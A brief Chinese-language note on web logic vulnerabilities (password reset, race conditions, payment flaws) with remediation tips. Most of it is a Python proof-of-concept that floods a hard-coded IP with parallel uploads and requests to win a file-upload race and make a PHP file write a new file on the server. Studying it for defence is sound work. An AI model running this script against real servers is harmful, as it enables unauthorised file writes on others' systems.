逻辑漏洞
密码找回漏洞
多线程条件竞争漏洞
- 文件上传
- 简单poc如下:
#!/usr/bin/env python #-*- coding:utf-8 -*- import requests import threading import time """ 200个线程上传文件aa.php,同时200个线程同时请求aa.php,aa.php中内容为 <?php fputs(fopen("info.php","w"),"<?php phpinfo(); ?>") ?>, 只要aa.php被请求成功就会生成内容为<?php phpinfo(); ?>的php文件info.php """ is_exit = False def create_info(): global is_exit while not is_exit: url = "http://123.206.78.20/u/aa.php" resp = requests.get(url) def put_file(): global is_exit file = {'myfile':('aa.php',open('C:/Users/Administrator/Desktop/aa.php'),'application/octet-stream')} upload_url = "http://123.206.78.20/u.php" while not is_exit: requests.post(upload_url,files=file) def check_info(): global is_exit print "start threading check info.php:" url = "http://123.206.78.20/u/info.php" while True: print "check info.php..." resp = requests.get(url) if resp.status_code == 200: is_exit = True print "create file info.php success." break for x in xrange(1,200): t = threading.Thread(target=create_info) t.setDaemon(True) t.start() print "start create_into threading %d" % x for x in xrange(1,200): t = threading.Thread(target=put_file) t.setDaemon(True) t.start() print "start put_file threading %d" % x t = threading.Thread(target=check_info) t.setDaemon(True) t.start() try: while t.isAlive(): pass time.sleep(1) except KeyboardInterrupt: print 'stopped by keyboard'
- 数据库操作
支付漏洞
漏洞修复
- 对于密码重置漏洞,可以使用复杂的token,使之不可被预测
- 对于密码重置漏洞,校验refer,不使用本地校验等
- 对于多线程竞争漏洞,文件移动一定在一切判断之后,对于数据库则可以设置锁
- 对于支付漏洞,主要就是签名了,或者https